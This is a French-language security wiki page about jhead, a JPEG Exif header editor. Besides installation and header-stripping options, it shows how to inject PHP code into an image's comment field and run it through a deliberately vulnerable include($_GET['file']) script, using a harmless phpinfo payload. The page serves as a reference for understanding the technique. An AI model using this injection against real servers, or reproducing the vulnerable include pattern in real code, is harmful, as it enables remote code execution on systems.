JHead

From aldeid
Jump to navigation Jump to search
This article needs to be translated
This article has been copied from the old wiki and is in french. It needs to be translated into english. If you wish to participate, please send a mail to (click to reveal email)

Description

Jhead est un programme de manipulation des en-têtes Exif des images au format jpeg. Cet outil permet entre autre de placer du code PHP dans l'en-tête d'un image. Cette dernière pourra être par la suite envoyée sur un serveur distant, et le code qu'elle contient, exploité.

Une image au format jpeg contient un en-tête et les données propres à l'image. L'en-tête est lui-même composé de plusieurs sections, permettant l'identification de l'image, comme le montre la figure suivante :

                               Image jpeg
+---------+---------+---------+---------+--------------------------------+
| Champ   | Section | Section | Section |              Données           |
| Commen  |  Exif   |  IPTC   |   XMP   |                JPEG            |
| -taires |         |         |         |                                |
+---------+---------+---------+---------+--------------------------------+

Installation

Installation de JHead

$ cd /usr/local/src/
$ wget http://www.sentex.net/~mwandel/jhead/jhead-latest.tar.gz
$ tar xzvf jhead-latest.tar.gz
$ cd jhead-2.855/
$ make

Autres outils

Utilisation

La syntaxe de base est la suivante :

./jhead [options] files
Note
Seules les options permettant la modification simple de l'en-tête sont listées ici. Pour plus de renseignements sur les autres options, reportez-vous à l'aide de jhead en appelant la commande ./jhead -h
Aucune option
       Lecture de l'en-tête de l'image (Appel de jhead sans option) :
        # ./jhead test.jpg
        File name    : test.jpg
        File size    : 57624 bytes
        File date    : 2008:12:09 19:08:41
        Resolution   : 300 x 432
        Color/bw     : Black and white
        Comment      : File written by Adobe Photoshop 5.0
        ======= IPTC data: =======
        Record vers.  : 2
        Caption       : 4.1.1

-dc
       Cette option permet de supprimer le contenu du champ de commentaires
        # ./jhead -dc test.jpg
        Modified: test.jpg
        # ./jhead test.jpg
        File name    : test.jpg
        File size    : 57584 bytes
        File date    : 2008:12:09 19:08:41
        Resolution   : 300 x 432
        Color/bw     : Black and white
        ======= IPTC data: =======
        Record vers.  : 2
        Caption       : 4.1.1

-de
       Supprime le contenu de la section Exif

-di
       Supprime le contenu de la section IPTC

-dx
       Supprime le contenu de la section XMP

-du
       Supprimer le contenu des sections IPTC et XMP

-purejpg
       Raccourci de la combinaison des commandes -dc -de -du

-ce
       Edite le contenu de l'en-tête de l'image

-cl
       Edition littérale du champ de commentaires (permet l'injection de code)
       Exemple :
        # ./jhead -cl '<?php ob_clean();phpinfo();die();?>' test.jpg
        Modified: test.jpg
        # ./jhead test.jpg
        File name    : test.jpg
        File size    : 57307 bytes
        File date    : 2008:12:09 19:08:41
        Date/Time    : 2008:12:09 19:08:41
        Resolution   : 300 x 432
        Color/bw     : Black and white
        Comment      : <?php ob_clean();phpinfo();die();?>
        ======= IPTC data: =======
        Record vers.  : 2
        Caption       : 4.1.1

Exemple d'attaque

Dans l'exemple qui suit, l'en-tête de l'image a été modifié avec jhead pour y inclure le code suivant :

<?php ob_clean();phpinfo();die(); ?>

L'image est appelée via le code suivant :

<html>

<body>

<img src="test.jpg" />

</body>

</html>

La même image est incluse dans le code PHP :

<?php

include($_GET["file"]);

?>

L'image est appelée dans l'URL directement par l'URL suivante :

http://localhost/jhead.php?file=test.jpg

Le code PHP que contient son en-tête est alors interprété